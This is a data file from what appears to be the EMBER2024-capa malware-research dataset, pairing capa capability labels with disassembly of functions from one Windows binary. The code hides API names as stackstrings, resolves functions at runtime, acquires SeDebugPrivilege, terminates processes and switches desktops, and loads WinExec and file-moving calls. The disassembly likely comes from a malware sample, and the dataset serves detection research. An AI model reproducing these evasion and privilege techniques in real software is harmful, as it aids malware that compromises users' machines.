joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432250
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x50
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x20]
push edi
mov bl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x73
mov byte [esp + 0x30], 0x65
mov byte [esp + 0x31], 0x48
mov byte [esp + 0x32], 0x61
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x64
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetCurrentProcess
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
mov ebp, eax
lea ecx, [esp + 0x30]
mov al, 0x41
push str.AdjustTokenPrivileges
push ecx
mov byte [esp + 0x38], al
mov byte [esp + 0x39], 0x44
mov byte [esp + 0x3a], 0x56
mov byte [esp + 0x3b], al
mov byte [esp + 0x3c], 0x50
mov byte [esp + 0x3d], 0x49
mov byte [esp + 0x3e], 0x33
mov byte [esp + 0x3f], 0x32
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x64
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], 0
call esi
push eax
call edi
lea edx, [esp + 0x30]
push str.LookupPrivilegeValueA
push edx
mov dword [esp + 0x20], eax
call esi
push eax
call edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x30]
push str.OpenProcessToken
push eax
call esi
push eax
call edi
lea ecx, [esp + 0x10]
mov ebx, eax
push ecx
push 0x28
mov dword [esp + 0x24], 1
call ebp
push eax
call ebx
test eax, eax
jne 0x43235b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x50
ret
mov edx, dword [esp + 0x68]
mov al, 0x74
mov byte [esp + 0x42], al
mov byte [esp + 0x46], al
mov al, 0x72
mov dword [esp + 0x50], 1
neg edx
mov byte [esp + 0x48], al
mov byte [esp + 0x49], al
mov byte [esp + 0x4b], al
lea eax, [esp + 0x40]
sbb edx, edx
push eax
and edx, 2
push str.KERNEL32.dll
mov dword [esp + 0x64], edx
mov byte [esp + 0x48], 0x47
mov byte [esp + 0x49], 0x65
mov byte [esp + 0x4b], 0x4c
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], 0x73
mov byte [esp + 0x4f], 0x45
mov byte [esp + 0x52], 0x6f
mov byte [esp + 0x54], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x64]
lea ecx, [esp + 0x54]
push ecx
push edx
push 0
mov esi, eax
call dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
push 0
push 0
lea eax, [esp + 0x58]
push 0x10
push eax
push 0
push ecx
call dword [esp + 0x30]
call esi
test eax, eax
je 0x4323f3
xor esi, esi
jmp 0x4323f7
mov esi, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
push edx
call dword [esp + 0x24]
xor eax, eax
pop edi
test esi, esi
pop esi
pop ebp
setne al
pop ebx
add esp, 0x50
ret
Function at 0x433520
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47a7b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x728
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov dword [ebp - 0x10], esp
push str.GetMessageA
push str.user32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.DeleteFileA
push str.KERNEL32.dll
mov dword [ebp - 0xa0], eax
call esi
push eax
call edi
push 0x487390
push str.KERNEL32.dll
mov dword [ebp - 0x9c], eax
call esi
push eax
call edi
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov bl, 0x41
push str.RegOpenKeyExA
push eax
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x2b], 0x44
mov byte [ebp - 0x2a], 0x56
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x50
mov byte [ebp - 0x27], 0x49
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
call esi
push eax
call edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
mov dword [ebp - 0xb8], eax
call esi
push eax
call edi
push str.GetModuleFileNameA
push str.KERNEL32.dll
mov dword [ebp - 0xb4], eax
call esi
push eax
call edi
push str.GetSystemTime
push str.KERNEL32.dll
mov dword [ebp - 0xa8], eax
call esi
push eax
call edi
push str.GetInputState
push str.USER32.dll
mov dword [ebp - 0x94], eax
call esi
push eax
call edi
push str.PostThreadMessageA
push str.USER32.dll
mov dword [ebp - 0xb0], eax
call esi
push eax
call edi
push str.GetCurrentThreadId
push str.KERNEL32.dll
mov dword [ebp - 0x98], eax
call esi
push eax
call edi
mov dword [ebp - 0x90], eax
push str.MoveFileA
push str.KERNEL32.dll
call esi
push eax
call edi
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x78], eax
push ecx
push str.KERNEL32.dll
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x79
mov byte [ebp - 0x18], 0x46
mov byte [ebp - 0x17], 0x69
mov byte [ebp - 0x16], 0x6c
mov byte [ebp - 0x15], 0x65
mov byte [ebp - 0x14], bl
mov byte [ebp - 0x13], 0
call esi
push eax
call edi
push str.WinExec
push str.KERNEL32.dll
mov dword [ebp - 0x74], eax
call esi
push eax
call edi
push str.lstrlenA
push str.KERNEL32.dll
mov dword [ebp - 0xa4], eax
call esi
push eax
call edi
lea edx, [ebp - 0xac]
push 0x4843a8
push edx
mov dword [ebp - 0x8c], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xac], 0x38
call sub.MSVCRT.dll__CxxThrowException
call dword [ebp - 0xb0]
push 0
push 0
push 0
call dword [ebp - 0x90]
push eax
call dword [ebp - 0x98]
push 0
push 0
lea eax, [ebp - 0x60]
push 0
push eax
call dword [ebp - 0xa0]
mov eax, 0x43371a
ret
Function at 0x4342d0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x47a7c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x1c], esi
mov dword [esi], 0x47b27c
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.TerminateThread
push str.KERNEL32.dll
mov dword [esp + 0x50], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push str.KERNEL32.dll
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x48
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x64
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call edi
push eax
call ebp
mov cl, 0x69
mov dword [esp + 0x18], eax
mov byte [esp + 0x2e], cl
mov byte [esp + 0x34], cl
lea ecx, [esp + 0x2c]
mov al, 0x74
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x67
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x4f
mov byte [esp + 0x42], 0x62
mov byte [esp + 0x43], 0x6a
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0
call edi
push eax
call ebp
push str.TerminateProcess
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
mov edx, dword [esi + 0x28]
push 0
push edx
mov edi, eax
call ebx
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [esp + 0x18]
mov ecx, dword [esi + 0x24]
push 0
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push 0x7d0
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x2c]
push 0
push eax
call ebx
mov eax, dword [esi + 0x10]
test eax, eax
je 0x434440
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43444a
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x434454
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x43445e
push eax
call edi
mov ecx, dword [esi + 0x10]
mov edi, dword [esp + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x14]
push edx
call edi
mov eax, dword [esi + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x20]
push edx
call edi
mov eax, dword [esi + 0x24]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
mov edx, dword [esi + 0x28]
push edx
call edi
mov ecx, esi
mov dword [esp + 0x48], 0xffffffff
call fcn.0042d5e0
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3c
ret
Function at 0x4342ea
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push 0xffffffffffffffff
push 0x47a7c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x1c], esi
mov dword [esi], 0x47b27c
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.TerminateThread
push str.KERNEL32.dll
mov dword [esp + 0x50], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
mov ebx, eax
lea eax, [esp + 0x20]
push eax
push str.KERNEL32.dll
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x6c
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x48
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x64
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call edi
push eax
call ebp
mov cl, 0x69
mov dword [esp + 0x18], eax
mov byte [esp + 0x2e], cl
mov byte [esp + 0x34], cl
lea ecx, [esp + 0x2c]
mov al, 0x74
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x72
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3d], 0x6e
mov byte [esp + 0x3e], 0x67
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0x65
mov byte [esp + 0x41], 0x4f
mov byte [esp + 0x42], 0x62
mov byte [esp + 0x43], 0x6a
mov byte [esp + 0x44], 0x65
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], al
mov byte [esp + 0x47], 0
call edi
push eax
call ebp
push str.TerminateProcess
push str.KERNEL32.dll
mov dword [esp + 0x1c], eax
call edi
push eax
call ebp
push str.DisconnectNamedPipe
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call edi
push eax
call ebp
mov edx, dword [esi + 0x28]
push 0
push edx
mov edi, eax
call ebx
mov eax, dword [esi + 0x20]
push 0
push eax
call dword [esp + 0x18]
mov ecx, dword [esi + 0x24]
push 0
push ecx
call ebx
mov edx, dword [esi + 0x2c]
push 0x7d0
push edx
call dword [esp + 0x1c]
mov eax, dword [esi + 0x2c]
push 0
push eax
call ebx
mov eax, dword [esi + 0x10]
test eax, eax
je 0x434440
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x43444a
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x434454
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x43445e
push eax
call edi
mov ecx, dword [esi + 0x10]
mov edi, dword [esp + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x14]
push edx
call edi
mov eax, dword [esi + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x1c]
push ecx
call edi
mov edx, dword [esi + 0x20]
push edx
call edi
mov eax, dword [esi + 0x24]
push eax
call edi
mov ecx, dword [esi + 0x2c]
push ecx
call edi
mov edx, dword [esi + 0x28]
push edx
call edi
mov ecx, esi
mov dword [esp + 0x48], 0xffffffff
call fcn.0042d5e0
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x3c
ret
Function at 0x435bd0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x487390
mov dword [esp + 0x18], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.TerminateProcess
push str.KERNEL32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
mov ebx, eax
mov al, 0x65
mov byte [esp + 0x1c], al
mov byte [esp + 0x22], al
lea eax, [esp + 0x18]
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], cl
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], 0x73
mov byte [esp + 0x25], 0x48
mov byte [esp + 0x26], 0x61
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0x64
mov byte [esp + 0x29], cl
mov byte [esp + 0x2b], 0
call esi
push eax
call edi
push 1
push str.SeDebugPrivilege
mov ebp, eax
call fcn.00435ec0
mov eax, dword [esp + 0x34]
add esp, 8
xor esi, esi
test eax, eax
jbe 0x435c9b
mov ecx, dword [esp + 0x28]
mov edx, dword [esi + ecx]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call ebp
mov eax, dword [esp + 0x2c]
add esi, 4
cmp esi, eax
jb 0x435c71
push 0
push str.SeDebugPrivilege
call fcn.00435ec0
add esp, 8
push 0x64
call dword [esp + 0x14]
mov esi, dword [esp + 0x14]
mov ecx, esi
call fcn.004356a0
mov ecx, esi
call fcn.00435890
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 8
Function at 0x435ec0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x4c
mov al, 0x74
push ebx
mov byte [esp + 0x32], al
mov byte [esp + 0x36], al
mov al, 0x72
push ebp
mov byte [esp + 0x3c], al
mov byte [esp + 0x3d], al
mov byte [esp + 0x3f], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x38]
push edi
push eax
push str.KERNEL32.dll
mov byte [esp + 0x44], 0x47
mov byte [esp + 0x45], 0x65
mov byte [esp + 0x47], 0x4c
mov byte [esp + 0x48], 0x61
mov byte [esp + 0x49], 0x73
mov byte [esp + 0x4b], 0x45
mov byte [esp + 0x4e], 0x6f
mov byte [esp + 0x50], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x2c]
mov al, 0x41
mov bl, 0x6c
push str.AdjustTokenPrivileges
push ecx
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0x44
mov byte [esp + 0x36], 0x56
mov byte [esp + 0x37], al
mov byte [esp + 0x38], 0x50
mov byte [esp + 0x39], 0x49
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0
call esi
push eax
call edi
lea edx, [esp + 0x2c]
push str.LookupPrivilegeValueA
push edx
mov dword [esp + 0x20], eax
call esi
push eax
call edi
mov dword [esp + 0x14], eax
lea eax, [esp + 0x2c]
push str.OpenProcessToken
push eax
call esi
push eax
call edi
lea ecx, [esp + 0x20]
mov ebp, eax
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x73
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x48
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6e
mov byte [esp + 0x30], 0x64
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x65
mov byte [esp + 0x33], 0
call esi
push eax
call edi
lea edx, [esp + 0x10]
mov edi, eax
push edx
push 0x28
mov esi, 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebp
test eax, eax
jne 0x43600c
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x4c
ret
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x60]
neg eax
lea ecx, [esp + 0x50]
mov dword [esp + 0x4c], esi
sbb eax, eax
push ecx
and eax, 2
push edx
push 0
mov dword [esp + 0x64], eax
call dword [esp + 0x20]
mov ecx, dword [esp + 0x10]
push 0
push 0
lea eax, [esp + 0x54]
push 0x10
push eax
push 0
push ecx
call dword [esp + 0x30]
call dword [esp + 0x1c]
test eax, eax
je 0x43604f
xor esi, esi
mov edx, dword [esp + 0x10]
push edx
call edi
xor eax, eax
pop edi
test esi, esi
pop esi
pop ebp
setne al
pop ebx
add esp, 0x4c
ret
Function at 0x4361a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47a860
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x10], esp
mov bl, 0x65
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x3c], 0x43
mov byte [ebp - 0x3b], 0x72
mov byte [ebp - 0x3a], bl
mov byte [ebp - 0x39], 0x61
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], bl
mov byte [ebp - 0x36], 0x45
mov byte [ebp - 0x35], 0x76
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], 0x6e
mov byte [ebp - 0x32], 0x74
mov byte [ebp - 0x31], 0x41
mov byte [ebp - 0x30], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x14], eax
mov al, 0x69
push ecx
push str.KERNEL32.dll
mov byte [ebp - 0x60], 0x57
mov byte [ebp - 0x5f], 0x61
mov byte [ebp - 0x5e], al
mov byte [ebp - 0x5d], 0x74
mov byte [ebp - 0x5c], 0x46
mov byte [ebp - 0x5b], 0x6f
mov byte [ebp - 0x5a], 0x72
mov byte [ebp - 0x59], 0x53
mov byte [ebp - 0x58], al
mov byte [ebp - 0x57], 0x6e
mov byte [ebp - 0x56], 0x67
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], bl
mov byte [ebp - 0x53], 0x4f
mov byte [ebp - 0x52], 0x62
mov byte [ebp - 0x51], 0x6a
mov byte [ebp - 0x50], bl
mov byte [ebp - 0x4f], 0x63
mov byte [ebp - 0x4e], 0x74
mov byte [ebp - 0x4d], 0
call esi
push eax
call edi
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
push edx
push str.KERNEL32.dll
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], 0
call esi
push eax
call edi
mov ecx, dword [ebp + 0x14]
mov dl, byte [ebp + 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], ecx
mov byte [ebp - 0x44], dl
push 0
push 0
push 0
push 0
call dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x18]
push 0x4843a8
push eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x18], 0x18
call sub.MSVCRT.dll__CxxThrowException
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x18]
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x4c]
push edx
mov edx, dword [ebp + 8]
push eax
push 0x4360a0
push ecx
push edx
call sub.MSVCRT.dll__beginthreadex
mov dword [ebp + 0x20], eax
add esp, 0x18
mov eax, 0x436315
ret
Function at 0x436670
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetCurrentThreadId
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetThreadDesktop
push str.USER32.dll
mov ebx, eax
call esi
push eax
call edi
push str.GetUserObjectInformationA
push str.USER32.dll
mov ebp, eax
call esi
push eax
call edi
push str.SetThreadDesktop
push str.USER32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.CloseDesktop
push str.USER32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
mov edi, eax
call ebx
push eax
call ebp
mov esi, dword [esp + 0x120]
mov ebx, eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x1c]
push eax
push 0x100
push ecx
push 2
push esi
call dword [esp + 0x28]
test eax, eax
jne 0x436712
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
push esi
call dword [esp + 0x14]
test eax, eax
jne 0x436726
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret
push ebx
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret

Function at 0x436740
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x21c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetCurrentThreadId
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetThreadDesktop
push str.USER32.dll
mov ebp, eax
call esi
push eax
call edi
push str.GetUserObjectInformationA
push str.USER32.dll
mov dword [esp + 0x1c], eax
call esi
push eax
call edi
push str.SetThreadDesktop
push str.USER32.dll
mov ebx, eax
call esi
push eax
call edi
push str.OpenInputDesktop
push str.USER32.dll
mov dword [esp + 0x18], eax
call esi
push eax
call edi
push str.CloseDesktop
push str.USER32.dll
mov dword [esp + 0x2c], eax
call esi
push eax
call edi
push str.lstrcmpA
push str.KERNEL32.dll
mov dword [esp + 0x28], eax
call esi
push eax
call edi
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], 0
call ebp
push eax
call dword [esp + 0x18]
mov ebp, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x2c]
push eax
push 0x100
push ecx
push 2
push ebp
call ebx
push 0x2000000
push 0
push 0
call dword [esp + 0x30]
mov esi, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x12c]
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x130]
push 0x100
push eax
push 2
push esi
call ebx
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x12c]
push ecx
push edx
call dword [esp + 0x30]
test eax, eax
je 0x436860
push esi
call dword [esp + 0x14]
mov ebx, 1
jmp 0x436864
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x20]
push ebp
call edi
push esi
call edi
xor eax, eax
pop edi
test ebx, ebx
pop esi
pop ebp
setne al
pop ebx
add esp, 0x21c
ret
Function at 0x43eb30
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
push esi
mov esi, dword [esp + 0x2c]
cmp byte [esi + 2], 1
je 0x43eb48
mov eax, 0xfffffffc
pop esi
add esp, 0x24
ret
mov dword [esi + 4], 0x10302
mov dword [esi + 8], str.xvid_1.3.2
call fcn.0043ea50
mov dword [esi + 0xc], eax
lea eax, [esp + 4]
push eax
mov dword [esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x18]
xor eax, eax
mov dword [esi + 0x10], ecx
pop esi
add esp, 0x24
ret
Function at 0x468020
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
lea eax, [eax + eax*2]
push ebp
xor ebp, ebp
push esi
lea eax, [eax + eax*4]
push edi
mov dword [esp + 0x10], ebp
lea ecx, [ecx + eax*2 + 0x20]
mov ax, word [edx]
imul ax, word [esp + 0x24]
cmp ax, 0xf800
mov word [ecx], ax
jge 0x46805a
mov eax, 0xfffff800
jmp 0x46806a
cmp ax, 0x7ff
jle 0x468067
mov eax, 0x7ff
jmp 0x46806a
movsx eax, ax
mov edi, edx
mov word [ecx], ax
lea esi, [edx + 0x10]
lea eax, [ecx + 2]
sub edi, ecx
mov dword [esp + 0x20], esi
mov ecx, 7
mov bx, word [edi + eax]
add esi, 0x10
mov word [eax], bx
mov bx, word [esi - 0x10]
mov word [eax + 0xe], bx
add eax, 2
dec ecx
jne 0x468080
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x18]
mov esi, 1
mov ax, word [edi]
sub word [edx], ax
mov eax, dword [esp + 0x1c]
cmp dword [ecx + eax*4 + 0xd4], esi
jne 0x468102
mov ebx, edx
lea esi, [edi + 2]
sub ebx, edi
mov edi, 7
mov cx, word [ebx + esi]
add esi, 2
movsx eax, cx
cdq
xor eax, edx
mov dword [esp + 0x18], ecx
sub cx, word [esi - 2]
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
mov word [esi - 2], cx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
dec edi
mov dword [esp + 0x10], edx
jne 0x4680c4
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret
mov ebx, dword [esp + 0x20]
mov dx, word [ebx]
add ebx, 0x10
mov cx, dx
mov dword [esp + 0x18], edx
movsx eax, cx
sub cx, word [edi + esi*2]
cdq
xor eax, edx
mov word [edi + esi*2], cx
sub eax, edx
add ebp, eax
movsx eax, cx
cdq
xor eax, edx
sub eax, edx
mov edx, dword [esp + 0x10]
add edx, eax
inc esi
cmp esi, 8
mov dword [esp + 0x10], edx
jb 0x468106
pop edi
mov eax, ebp
mov ecx, edx
pop esi
pop ebp
sub eax, ecx
pop ebx
pop ecx
ret